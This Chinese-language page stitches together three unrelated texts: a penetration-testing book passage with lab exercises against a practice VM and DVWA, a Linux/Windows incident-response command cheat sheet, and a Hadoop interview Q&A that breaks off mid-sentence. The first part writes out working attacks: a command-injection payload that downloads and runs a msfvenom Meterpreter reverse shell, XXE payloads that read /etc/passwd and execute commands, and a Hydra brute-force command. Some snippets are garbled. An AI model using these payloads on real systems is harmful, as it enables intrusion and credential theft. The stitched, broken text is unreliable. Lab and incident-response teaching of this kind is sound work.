• https://sqlzoo.net/hack命令注入在本节中,我们将评估命令注入攻击,以及我们如何利用Metasploit来帮助使用msfvenom构建自定义有效负载,并将这些有效负载与多处理器一起使用,以生成MeterPeter会话,该会话可用于提升权限并进一步转向目标组织的网络。本节的下一部分将重点介绍从渗透式测试实验室网站的"渗透式测试的Web"练习下载ISO磁盘映像。本ISO还随本书提供了在线内容(详情请参见附录)。在本练习中,我假设您有一个可用的、更新的Kali Linux副本和某种类型的虚拟化软件(如VMware Workstation、VMware Player、Oracle Virtualbox等)来托管ISO磁盘映像。打开VM电源后,打开Web浏览器并导航到位于http://的主页。然后,我们将演示如何利用位于易受攻击VM主页上的命令注入标题下示例1的ip=参数中发现的命令注入漏洞。1、给定以下易受攻击的Web参数ip=,我们可以测试各种命令注入攻击,第一种是Web应用程序托管在什么类型的操作系统和体系结构上。下面是在vulnerable参数中添加uname -a时的输出示例。带curl的命令注入如果你想获得创造性,你可以使用一些命令功夫,使用curl执行命令,然后过滤掉返回的命令输出。您的命令如下所示:命令:# curl http://192.168.1.108/commandexec/example1.php?ip=";uname%20-a" 2>&1 | awk '//{flag=1;next}/pre>/{flag=0}flag'输出:Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686命令用于启动HTTP GET请求,然后将标准错误(stderr)重定向到标准输出(stdout),然后将curl输出导入awk过滤器,该过滤器仅返回网页中预格式化文本之间的数据(和HTML标记)。剩下的是由Web服务器处理的命令注入输出。2、既然我们知道体系结构是x86,主机操作系统是Linux(Debian),那么让我们使用msfvenom创建一个漏洞来生成一个反向我们可以使用Metasploit多处理器从中接收回调的MeterMeter外壳负载。首先,让我们使用msfvenom生成名为"cmd"的漏洞,使用x86 Linux体系结构的反向计量器负载连接回您的IP地址和本地端口(4444/tcp):msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=4444 -f elf -o cmd3、然后使用Python在端口80上托管Web服务器,在"cmd "漏洞所在的同一目录中使用SimpleHTTPServer模块:# python -m SimpleHTTPServer 804、在Kali盒上的另一个终端窗口中,启动msfconsole并在msf>提示符下键入以下命令:msf> use exploit/multi/handler
msf exploit (multi/handler)>set payload linux/x86/meterpreter/reverse tcp
msf exploit(multi/handler) >set lhost
msf exploit(multi/handler)>exploit现在,让我们将一系列命令串在一起,让我们的目标下载该漏洞,向该漏洞添加一个执行位,然后执行它,以便获得一个反向shell。在Web浏览器中,将以下命令语法附加到ip=参数,然后执行HTTP GET请求:ip=127.0.0.1;wget%20-O%20/tmp/cmd%20http:///cmd;chmod%20755%20/tmp/cmd;/tmp/cmd6、Web服务器应先执行wget,从Python Simple HTTP Server下载"cmd "漏洞,然后使用chmod追加执行位,然后执行漏洞;作为回报,您应该在Metasploit中看到一个MeterPeter会话派生,如以下示例所示:XML外部实体注入(XXE)解析XML消息的Web应用程序服务器常见的另一个漏洞是XML外部实体(XXE)注入。XML实体可以在应用程序内部或外部声明,并用于定义特殊字符的快捷方式。实体有三个部分:一个与(&)、一个实体名称和一个分号(;)。要在外部文档类型定义(DTD)中声明外部实体,可以使用以下语法:<!ENTITYexample SYSTEM "https://www.example.com/entities.dtd">DTD用于定义XML文档的结构和属性。XXE注入发生在HTTP POST请求期间(在极少数情况下,GET请求可能会促进这种类型的攻击)修改或附加XML文档内部的声明指针到原始实体声明以外的位置时,并且应用程序处理该请求并返回结果,而无需先验证输入。以下是一个概念验证XML文档,其中包含本地文件/etc/passwd的内部DTD实体声明:
<?xmlversion="1.0"encoding="ISO-8859-1?>
<DOCTYPE test[<!ELEMENT test ANY>
<ENTITY loginSYSTEM file:///etc/passwd]>
<auth>
<user>&login;</user>
<password>Password</password>
</auth>lThe!DOCTYPE test定义文档的根元素为test。lThe! ELEMENT测试定义测试元素可以包含任何元素。lThe! ELEMENT称为login,并声明为本地文件/etc/passwd。lDTD 中的XML标记定义了应用程序解析和处理的实体值。在这种情况下,用户字段由内部声明的实体指定。一旦XML文档与POST数据一起提交到服务器,应用程序将处理代码并告诉服务器查找内部实体,file:///etc/passwd,然后将响应注入用户字段。应用程序配置为返回刚刚登录的"用户"的名称;但是,在这种情况下,"用户"将是本地/etc/passwd文件的内容:You have logged in as user
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:X:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologinPHP是独立于平台开发的,可以在所有不同类型的操作系统上运行。PHP支持许多不同类型的模块,可以安装和配置这些模块来帮助处理数据,甚至执行操作系统命令。默认情况下不会加载Expect模块,但如果启用,它可能会增加XXE漏洞的重要性。有两种类型的Expect函数,expect_expectl()和expect_popen(),它们通过命令shell(如BASH)执行命令。如果安装了Expect模块,我们可以修改XML负载以利用Expect模块,执行系统命令,并查看输出:
<?xmlversion=1.0"encoding="ISO-8859-1"?>
<DOCTYPE foo [<!ELEMENTfoo ANY>
<ENTITY xxeSYSTEM "expect://id">]
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>服务器的响应如下所示:You have logged in as user uid=33(www-data) gid=33(www-data) groups=33(www-data)XXE是OWASP前十名的一部分。尽管在声明内部和外部指针时,通过XXE执行远程代码可能不像读取系统文件那样普遍,但它仍然是一种攻击类型,可导致应用程序服务器操作系统完全受损,并使攻击者能够深入组织网络。要了解有关XXE攻击的更多信息以及如何缓解配置较弱的XML解析器中的漏洞,请查看位于OWASP网站上的XML外部实体XXE预防备忘单(https://www.owasp.org)。攻击身份验证和会话管理在本节中,我们将仔细研究针对用户名和密码登录以及经过身份验证的会话令牌的三种不同类型的身份验证攻击。这些主题包括以下类型的攻击:凭证强制身份验证旁路会话预测在第4章中,我们了解了密码复杂性规则,以及应该如何测试密码以确保它们符合某些合规性标准。否则,密码可能会受到暴力或基于字典的攻击。身份验证绕过和会话预测攻击是由于应用程序开发不佳或实现缺陷造成的。在本节中,我们将介绍渗透式测试可以用来利用这些类型漏洞的各种工具和方法。暴力登录页面HTML表单用于从Web浏览器的用户提供的输入中读取和处理数据。用户在表单字段中输入数据并单击按钮提交数据后,浏览器将执行HTTP POST请求,并将消息正文发送给Web应用程序进行处理。在Web浏览器中查看HTML源代码时,HTML表单将如下所示:
<formaction="/login.php" method="post">
Username:<inputtype="text" size="20" name="username"><br>
Password:<inputtype="text" size="8" name="password"><br>
<inputtype="submit" value="Submit">
</form>此表单页面示例处理来自用户的两个输入字段:用户名和密码。在渗透式测试约定期间,您可能会遇到允许用户通过用户名和密码验证访问的应用程序服务器。这些类型的表单通常是暴力登录攻击的目标。CeWL是一个Ruby应用程序,它爬行给定的URL并返回一个单词列表,可以用于密码破解程序(如John the Ripper)甚至暴力登录工具(如Hydra)。Hydra提供暴力登录功能,并支持多种类型的协议,包括SSH、MySQL、SMTP、Telnet、LDAP、RDP、SMB和HTTP。CeWL和Hydra都预装在Kali Linux上。提示在示例登录页面的HTML源代码中注意,文本字段大小限制设置为8,这意味着它将只处理输入框中的前八个字符。因此,如果要构建一个单词列表或密码规则来强制登录,则只需定义密码或规则,长度最多为8个字符。该死的易受攻击的Web应用程序(DVWA)(http://dvwa.co.uk)是免费软件,作为Web应用程序运行,容易受到许多常见类型的基于Web的攻击。用户可以根据GNU通用公共许可证的条款下载、安装和修改应用程序。我将使用DVWA作为如何强制登录表单页面的基本示例。设置DVWA后,您可以在Web浏览器中使用以下URL访问登录页面:http:///DVWA/login.php。登录页面将类似于图9-1。图9-1 DVWA登录页面如果我们不知道登录的用户名和密码,您可以使用您最喜欢的单词列表,即Kali Linux中的/usr/share/wordlist中的一个,或者使用CeWL对URL创建自定义单词列表,使用从目标网页中提取的单词和短语。以下是在Kali Linux中从命令行执行CeWL的示例,如图9-2所示:图9-2 CeWL命令输出# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa以下命令选项可用:-v详细输出-d三脚架至的深度(Depth to spider to);默认值为2-m最小字长-w将输出写入文件现在,我们可以使用Hydra的单词列表来强制登录页面。然而,在使用Hydra之前,我们需要捕获发送到服务器进行处理的POST请求,因为我们需要将正确的参数输入Hydra,以便我们的暴力请求可以正确格式化。因此,启动您最喜欢的Web代理软件来拦截对服务器的虚假登录请求。(我使用了Burp代理,但OWASP ZAP、Firefox开发人员工具、篡改数据等也是可以用来完成此任务的其他工具。)在启用Burp中的代理并将Web浏览器配置为使用Burp代理端口后,我能够捕获到服务器的登录请求,如图9-3所示。图9-3 Burp代理登录请求正如您在POST请求的正文中所看到的,用户名=、密码=、登录名=是构成登录请求的三个有效参数。现在我们有了提供Hydra的正确Web参数,我们可以在Kali Linux中从命令行执行以下语法:#hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V示例输出如图9-4所示图9-4 Hydra命令输出命令选项如下:-l登录用户-P从文件中加载多个密码http-post-form用于请求的服务模块。""模块选项;在本例中,我们使用URL和POST消息正文。^USER^和^PASS^填充有用户和密码命令选项。-V详细模式。根据Hydra的输出,我们成功地识别了管理员用户的有效密码,使用了从DVWA页面中刮取的13个可能的密码。CeWL在网页底部抓取"提示"信息时,发现了"密码"文本。
# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa
#hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
建议收藏 | linux&windows应急响应(完善版)
建议收藏 | linux&windows应急响应(完善版)我完善了我的应急响应知识体系(师傅们及时查阅哦)排查思路,以及常用的命令Linux「「查看进程」」ps aux
ps -ef
pstree -aup
top
1 每个逻辑CPU状态
b 高亮
x 高亮排序列
ps aux | grep pid
lsof -i:port
-i 筛选关键字,比如进程名、PID、USER、IPv4/IPv6、TCP/UDP
pstree -aphn
-a 显示该进程命令行参数
-p 显示pid
-h 高亮当前进程以及父进程
-n 按照pid排序「「网络连接」」netstat -antlp
-a 显示所有连接和端口
-n 以数字形式显示ip和port
-t 显示tcp
-l 显示监听的服务
-p 显示建立连接的进程名以及pid
ESTABLISHED 建立连接、LISTENING 侦听状态、TIME_WAIT 连接超时
ss –antpr
-a 显示所有连接和端口
-n 不解析服务的名称
-t 显示tcp sockets
-l 显示监听的端口
-p 显示监听端口的进程
-r 把ip解析为域名
tcpdump –i eht0 -w eee.pcap
-i 要抓取的网卡接口
-w 要保存的文件名
-C 100m 大于100M分割为另一个包
-c 10000 超过1万个停止抓包
src host xxx 仅仅捕获由该主机发起的流量
drc host xxx 仅仅捕获发往该ip地址的流量
src port xxx 仅仅捕获由该端口发起的流量
#查看 PID 所对应的进程文件路径
file /proc/$PID/exe「「异常文件」」ls -alth
-a 显示所有文件
-l 显示文件权限,属组属主,大小,日期
- t 按照时间顺序排序
-h 高亮
strace -f -e trace=file 接可执行文件
-e 跟踪子进程
-f 跟踪类型,file、process、trace, abbrev, verbose, raw, signal, read, write, fault,inject, status, kvm
find
find path –name xxx search_filename/directory
find path -name "*.php" -exec tar -rvf sss.tar.gz {} \; • find / \( -path /etc -o -path /usr \) -prune -o -name '*.conf'
-mtime 修改时间
-ctime 属性权限更改
-atime 访问时间
grep file_content search_directory
-R 搜索字符串
-P 使用正则匹配
-n 包含字符串文件的行号
grep -RPn "(xx.xx.xx) *\(" /var/log
grep -RPn
“assthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab)
*\(" /var/www
strings
strings /usr/bin/.sshd | grep '[1-9]{1,3}.[1-9]{1,3}.' //分析sshd文件,是否包括IP信息
file
lsattr/chattr
-a 只能增加数据,但不能删除
-i 不能删除,改名,设定链接,不能写入或新增
lsattr malaware_file
chattr –i malaware_file
chattr +i malaware_file
hexdump
-b 以8进制显示输出结果
-c 以ASCII码显示输出结果
-C 以〸进制+ASCII码显示输出结果「「后门账户」」#主要查看uid为0的账户
cat /etc/passwd
#查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
#查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
#除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
#禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
usermod -L user
#将删除user用户,并且将/home目录下的user目录一并删除
userdel -r user「「ssh公钥」」/root/.ssh/authorized_keys「「登录日志」」 last lastb 登陆失败
lastlog 最后一次登陆「「查看启动项」」more /etc/rc.local「「查看服务」」#查看服务自启动状态
chkconfig --list「「任务计划」」crontab -l 查看计划任务
crontab -e 编辑计划任务
crontab -r 删除计划任务
crontab -u 查看某用户计划任务
ls -al /var/spool/cron/*
cat /etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/cron
/var/spool/anacron
#查看目录下所有文件
more /etc/cron.d/*
/etc/anacrontab
/var/spool/anacron/*「「系统信息排查」」#du
-s 显示总计
-h 以合适单位输出统计结果
df
-u 显示当前文件系统空间使用情况
#lspci
-v 以初阶显示设备详细信息
-vv 以进阶显示设备详细信息
-s xx:xx –vv 仅显示总线和
插槽的设备信息,xx:xx数值可以通过lspci获得
#lsusb
-v 显示USB的详细信息
-s xx:xx –vv 仅显示总线和设备号的设备信息,xx:xx数 值可以通过lspci获得
-d xx:xx仅显示指定厂商和产品编号的设备
who 显示当前所有登陆的信息
whereis 查找二进制文件路径
uname -a 打印系统信息
#last
description: 列出目前与过去登陆系统的信息
log_path: /var/log/wtmp
会读取wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。
#lastb
description: 列出登陆失败系统的信息
log_path: /var/log/btmp
它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来
#systemctl 系统服务管理指令
systemctl status sshd 查看ssh服务状态
systemctl start sshd 启动ssh服务
systemctl stop sshd 关闭ssh服务
systemctl enable sshd 设置ssh开机自启动
systemctl disbale sshd 关闭ssh开机自启动
service 控制系统服务指令
command_usage: service 'service_name' status/start/stop/restart
#rsyslog日志配置
configuration_file: /etc/rsyslog.conf
configuration_directory: /etc/rsyslog.d/
#lastlog
description: 显示所有用户最后一次登陆信息
log_path: /var/log/lastlog
它根据UID排序显示登录名、端口号(tty)和上次登录时间。
如果一个用户从未登录过,lastlog显示**Never logged**「「一些防火墙基础」」#iptables
-t 接表名(raw'网址过滤',nat'地址转换',filter'包过滤',mangle'数据包修改')
- L 列出表里的规则
-n 显示IP
- v 显示进阶的信息展示
-A 将规则添加到最后,只有放到最后才能执行
-i 指定网卡接口
-j 执行操作(包括有且不限于ACCEPT、DROP、RRDIRECT)
systemctl start/stop/restart/status iptables 防火墙开启、关闭、重启、状态
iptables –L INPUT/OUTPUT -n 查看入站/出站规则
iptables -D INPUT 接规则号
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允许某个网段连接22端口
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某个网段对连接22端口
#firewalld
--state 防火墙状态
--reload 不中断服务重启加载
--compete-reload 中断所有连接重新加载
--runtime-to-premanent 永久保存添加的规则
--check-config 检查配置
--get-log-denied 查看拒绝日志
--set-loag-denied 接参数 设置拒绝日志监测等级(all/unicats/broardcast/multicast/off)
systemctl start/stop/restart/status firewalld 防火墙开启、关闭、重启、状态
firewalld-cmd –-state 查看防火墙状态
firewalld-cmd –-list-services 查看开放的服务
firewalld-cmdd –-add-ports=22/tcp 开启22端口
firewalld-cmdd –-remove-ports=22/tcp 关闭22端口
firewalld-cmd –-reload 更新防火墙规则「「关键系统命令是否被替换」」这个随便输几个试一试「「几个关键的日志文件」」SSH /var/log/secure
记录系统 /var/log/message
计划任务日志 /var/log/cron
记录所有用户的登录 /var/log/wtmp「「树形系统结构与应急」」/bin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/bin
本地登陆用户可访问应用程序/可执行二进制文件
一般恶意软件更容易感染该目录下文件,例如ssh、top、crontab.......
/sbin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/sbin
在系统启动期间本地登陆的管理用户有关系统管理的可执行二进制文件
该目录一般不容易出问题,除非是git.kernel.org被搞了,里边命令例如
fastboot、fdisk、grub.......
/usr
unix software resource的简写
登陆用户对linux操作的实际目录,包含了linux的应用程序/可执行程序、64/32 位的依赖库、登陆用户的配置文件、登陆用户的底层管理程序、头文件
/var
可以理解为linux的缓存目录,大多数情况会以只读挂载到/usr下用于系统的缓
存数据和应用程序的缓存,例如应用程序缓存、标准库、某个程序运行导致的
文件设备的锁定(apt、yum)、日志文件、pid信息
/lib、/lib32、/lib64、libex32、/libexec
/lib主要包含内核模块、引导系统以及linux运行所需要的基本共享库
/lib<qual>在不同(32/64)环境下会调用不同的基本共享库
/libx32 是面向x32 ABI(x32 Application Binary Interface)的目标文件和库
/libexec不由用户和shell执行的二进制文件,一些lfs用于产品会有libexec作为部 署程序
一些二进制可执行程序劫持,会将so文件释放到/lib下
/dev
device的简写
存放着一些特殊的文件和设备文件位置
/dev/null 是类Unix系统中的一个特殊文件设备,他的作用是接受一切输入它的
数据并丢弃这些数据。
/mnt
mount的简写,挂接光驱、USB设备的目录
mount /dev/nvme0n1pxx /mnt/xxxx // 挂载
umount /mnt/xxxx //卸载
/proc
linux伪文件系统,存储了系统正在运行的所有信息,例如高级电源管理、引导参数、
所有设备使情况......
通常我们会用ls –alth /proc/*/exe,查看某恶意进程对应的二进制文件或查看文件已
经被删除,但是进程还在跑的情况
/sys
linux伪文件系统,为linux提供内核、驱动、设备信息,包括但不限于各种总线,有点
类似于window硬件管理
/root、/home
root用户目录、普通用户目录
都存放着用户shell相关的配置文件,例如.bashrc、.bash_history、.ssh、.config、
profile
可能会存在恶意alias(bashrc)、攻击留下来的历史命令信息(.bash_history)、用来维
持权限的免密登陆(.ssh/authorized_keys)、一些软件的配置信息(.config)
/boot
主要存放linux内核文件以及引导加载程序,出现问题的比较少,利用难度比较高
/run
该目录是临时文件系统, 存储是启动之后的所有信息
/srv
区别于/var目录,主要存储用户主动产生的数据和对外的服务
/tmp
临时文件目录,用户存放用户产生的临时文件,可以随时销毁,或者系统可以自动销 毁,权限比较低
由于权限比较低,所以恶意软件或者攻击行为会在此路径下生成或落地木马以及工具。「「Rootkit查杀」」专用查杀工具 chkrootkit rkhunter「「linux常用工具」」nethogs 是一个小型的“网络顶部”工具。它不像大多数工具那样按协议或每个子网分解流量,而是按进程对带宽进行分组。iftop iftop用于查看网络上的流量情况,包括实时速率、总流量、平均流量等,是一款实时流量监控工具。Windows「「进程」」#查看进程
tasklist
tasklist –m |findstr "string"
-m 显示所有exe/dll的服务,如果没有指定参数将显示所有加载模块
-svc 显示每个进程服务
-v 显示所有进程详细服务信息
#强制停止某进程
taskkill /T /F /PID
#获取进程的全路径
wmic process | finderstr “xxxx”「「异常网络流量」」#可用fistr过滤,类似Linux的grep命令
netstat -antop tcp
-a 显示所有连接和端口
-n 以数字形式显示ip和port
-t 显示连接状态
-o 显示连接关联进程ID
-p TCP/UDP
> eee.txt 如果连接很多可以接>,输出到文件, cat eee.txt |awk '{print $2}'
ESTABLISHED 建立连接 LISTENING 侦听状态 TIME_WAIT 连接超时 SYN_SENT 请求连接 SYN_RECVD 收到请求连接
#打印路由表
route print
#查看网络代理配置情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"「「敏感文件路径」」%WINDIR%
%WINDIR%/System32
%TEMP%
%APPDATA%
%LOCALAPPDATA%
%LOCALAPPDATA%\Low
%ProgramData%\Temp
%ProgramData%\Temp\Low
%UserProfile%\Recent「「账户」」查询登陆系统会话query user把账户踢出会话logoff ID打开lusrmgr.msc,查看是否有新增/可疑的账号用D盾 -> 查看服务器是否存在隐藏账号、克隆账号「「查看启动项」」运行->msconfig 引导、服务、工具
#查看系统开机时间
net statistics workstation
#查看系统计划任务
schtasks /query /fo LIST /v
#查看程序启动信息
wmic startup get command,caption
#查看主机服务信息
wmic service list brief「「计划任务」」一些恶意软件通常会写入计划任 务达到维持权限,横向的目的命令类的: 运行->tasksch.msc工具类的: Autoruns、这台计算机->(右键)计算机管理->计划任务程序「「系统日志」」win +r eventvwr.msc或者计算机管理——事件查看器事件日志分析「「对于Windows事件日志分析,不同的EVENT ID代表了不同的意义」」事件ID说明4624登录成功4625登录失败4634注销成功4647用户启动的注销4672使用超级用户(如管理员)进行登录4720创建用户「「每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式」」登录类型描述说明2c(Interactive)用户在本地进行登录。3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时。4批处理(Batch)通常表明某计划任务启动。5服务(Service)每种服务都被配置在某个特定的用户账号下运行。7解锁(Unlock)屏保解锁。8网络明文(NetworkCleartext)登录的密码在网络上是通过明文传输的,如FTP。9新凭证(NewCredentials)使用带/Netonly参数的RUNAS命令运行一个程序。10远程交互,(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机。11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可「「系统补丁是否打全」」#cmd
systeminfo
#工具和在线地址
https://i.hacking8.com/tiquan
https://github.com/bitsadmin/wesng「「其他排查项」」杀毒软件功能是否异常?是否有异常驱动文件?C:\Windows\System32\drivers都记录了那些日志,Web日志「「映像劫持」」参考学习文档https://ssooking.github.io/2019/12/windows%E5%90%8E%E9%97%A8-%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81/「「工具篇」」「微软官方的几款工具」具体介绍百度,或者参考以前的安服工程师修炼手册autoruns https://docs.microsoft.com/en-us/sysinternals/downloads/autorunstcpview https://docs.microsoft.com/en-us/sysinternals/downloads/tcpviewprocexp https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorerNetwork Monitor https://www.microsoft.com/en-us/download/confirmation.aspx?id=4865「火绒剑」「卡巴斯基」 dr.web 无需安装、不与其他杀毒软件冲突、不会被病毒限制启动「wirshark」 流量抓包神器 可以抓五层流量,应、表、会、传、网、数ip.addr== 匹配地址(源/目的) 数据包
tcp.port== 匹配TCP端口
http.request.uri=="xxx" 匹配指定URL
http.host == "domain" 匹配域名的数据包具体教程:https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFilters「Browser_Network_Analysis」F12检查功能,用途网页篡改,可以用Burpsuite或者Wireshark替代,根据网页文件、js、css加载顺序,时间先后顺序判断网页跳转所在。webshell排查❝❝常见的检测方法有基于主机的流量-文件-日志检测、关键字(危险函数)匹配、语义分析等❞❞web日志审计access.log(/var/log/nginx)使用工具查杀Web目录Windows:D盾 - http://www.d99net.net/down/WebShellKill_V2.0.9.zipLinux:河马 - https://www.shellpub.com/但工具查杀不靠谱,还是要手动查看Web目录下的可解析执行文件;通过Web访问日志分析可快速定位到webshell位置。「「网站被植入WebShell的应急响应流程」」主要关注Web日志,看有哪些异常的HTTP访问,如果有源码,可以用文件对比的方法快速定位Webshell。(一定要是客户备份的源码,千万不要直接到主源码上操作。)定位时间和范围:扫描WebShell位置;定位文件创建的时间;检查Web根目录.htaccess文件Web日志审计:例如查看access.log(/var/log/nginx),下载到本地审计漏洞分析:分析可能存在漏洞的地方,复现漏洞GetShell。漏洞修复:清除WebShell并修复漏洞对系统和Web应用进行安全加固
大数据知识面试题-Hadoop
Hadoop1.1、介绍Hadoop广义上来说,Hadoop通常是指一个更广泛的概念——Hadoop生态圈。狭义上说,Hadoop指Apache这款开源框架,它的核心组件有:。HDFS(分布式文件系统):解决海量数据存储。YARN(作业调度和集群资源管理的框架):解决资源任务调度。MAPREDUCE(分布式运算编程框架):解决海量数据计算1.2、Hadoop特性优点扩容能力(Scalable):Hadoop是在可用的计算机集群间分配数据并完成计算任务的,这些集群可用方便的扩展到数以千计的节点中。成本低(Economical):Hadoop通过普通廉价的机器组成服务器集群来分发以及处理数据,以至于成本很低。高效率(Efficient):通过并发数据,Hadoop可以在节点之间动态并行的移动数据,使得速度非常快。可靠性(Rellable):能自动维护数据的多份复制,并且在任务失败后能自动地重新部署(redeploy)计算任务。所以Hadoop的按位存储和处理数据的能力值得人们信赖。1.3、hadoop集群中hadoop都需要启动哪些进程,他们的作用分别是什么?namenode =>HDFS的守护进程,负责维护整个文件系统,存储着整个文件系统的元数据信息,image+edit logdatanode =>是具体文件系统的工作节点,当我们需要某个数据,namenode告诉我们去哪里找,就直接和那个DataNode对应的服务器的后台进程进行通信,由DataNode进行数据的检索,然后进行具体的读/写操作secondarynamenode =>一个守护进程,相当于一个namenode的元数据的备份机制,定期的更新,和namenode进行通信,将namenode上的image和edits进行合并,可以作为namenode的备份使用resourcemanager =>是yarn平台的守护进程,负责所有资源的分配与调度,client的请求由此负责,监控nodemanagernodemanager => 是单个节点的资源管理,执行来自resourcemanager的具体任务和命令DFSZKFailoverController高可用时它负责监控NN的状态,并及时的把状态信息写入ZK。它通过一个独立线程周期性的调用NN上的一个特定接口来获取NN的健康状态。FC也有选择谁作为Active NN的权利,因为最多只有两个节点,目前选择策略还比较简单(先到先得,轮换)。7)JournalNode 高可用情况下存放namenode的editlog文件1.4、Hadoop主要的配置文件hadoop-env.sh。文件中设置的是Hadoop运行时需要的环境变量。JAVA_HOME是必须设置的,即使我们当前的系统中设置了JAVA_HOME,它也是不认识的,因为Hadoop即使是在本机上执行,它也是把当前的执行环境当成远程服务器。core-site.xml。设置Hadoop的文件系统地址<property>
<name>fs.defaultFS</name>
<value>hdfs://node-1:9000</value>
</property>hdfs-site.xml。指定HDFS副本的数量。secondary namenode 所在主机的ip和端口<property>
<name>dfs.replication</name>
<value>2</value>
</property>
<property>
<name>dfs.namenode.secondary.http-address</name>
<value>node-2:50090</value>
</property>mapred-site.xml。指定mr运行时框架,这里指定在yarn上,默认是local<property>
<name>mapreduce.framework.name</name>
<value>yarn</value>
</property>yarn-site.xml。指定YARN的主角色(ResourceManager)的地址<property>
<name>yarn.resourcemanager.hostname</name>
<value>node-1</value>
</property>1.5、Hadoop集群重要命令初始化。hadoop namenode –format启动dfs。start-dfs.sh启动yarn。start-yarn.sh启动任务历史服务器。mr-jobhistory-daemon.sh start historyserver一键启动。start-all.sh启动成功后:。NameNode http://nn_host:port/ 默认50070.ResourceManagerhttp://rm_host:port/ 默认 8088选项名称使用格式含义-ls-ls <路径>查看指定路径的当前目录结构-lsr-lsr <路径>递归查看指定路径的目录结构-du-du <路径>统计目录下个文件大小-dus-dus <路径>汇总统计目录下文件(夹)大小-count-count [-q] <路径>统计文件(夹)数量-mv-mv <源路径> <目的路径>移动-cp-cp <源路径> <目的路径>复制-rm-rm [-skipTrash] <路径>删除文件/空白文件夹-rmr-rmr [-skipTrash] <路径>递归删除-put-put <多个linux上的文件> <hdfs路径>上传文件-rm-rm [-skipTrash] <路径>删除文件/空白文件夹-rmr-rmr [-skipTrash] <路径>递归删除-put-put <多个linux上的文件> <hdfs路径>上传文件-cat-cat <hdfs路径>查看文件内容-text-text <hdfs路径>查看文件内容-copyToLocal-copyToLocal [-ignoreCrc] [-crc] [hdfs源路径] [linux目的路径]从本地复制-moveToLocal-moveToLocal [-crc] <hdfs源路径> <linux目的路径>从本地移动-mkdir-mkdir <hdfs路径>创建空白文件夹-setrep-setrep [-R] [-w] <副本数> <路径>修改副本数量-touchz-touchz <文件路径>创建空白文件-stat-stat [format] <路径>显示文件统计信息-tail-tail [-f] <文件>查看文件尾部信息-chmod-chmod [-R] <权限模式> [路径]修改权限-chown-chown [-R] [属主][:[属组]] 路径修改属主-chgrp-chgrp [-R] 属组名称 路径修改属组-help-help [命令选项]帮助1.6、HDFS的垃圾桶机制修改core-site.xml <property>
<name>fs.trash.interval</name>
<value>1440</value>
</property>这个时间以分钟为单位,例如1440=24h=1天。HDFS的垃圾回收的默认配置属性为 0,也就是说,如果你不小心误删除了某样东西,那么这个操作是不可恢复的。1.7、HDFS写数据流程HDFS dfs -put a.txt /详细步骤:1)客户端通过Distributed FileSystem模块向namenode请求上传文件,namenode检查目标文件是否已存在,父目录是否存在。2)namenode返回是否可以上传。3)客户端请求第一个 block上传到哪几个datanode服务器上。4)namenode返回3个datanode节点,分别为dn1、dn2、dn3。5)客户端通过FSDataOutputStream模块请求dn1上传数据,dn1收到请求会继续调用dn2,然后dn2调用dn3,将这个通信管道建立完成。6)dn1、dn2、dn3逐级应答客户端。7)客户端开始往dn1上传第一个block(先从磁盘读取数据放到一个本地内存缓存),以packet为单位(大小为64k),dn1收到一个packet就会传给dn2,dn2传给dn3;dn1每传一个packet会放入一个应答队列等待应答。8)当一个block传输完成之后,客户端再次请求namenode上传第二个block的服务器。1.8、Hadoop读数据流程详细步骤:1)客户端通过Distributed 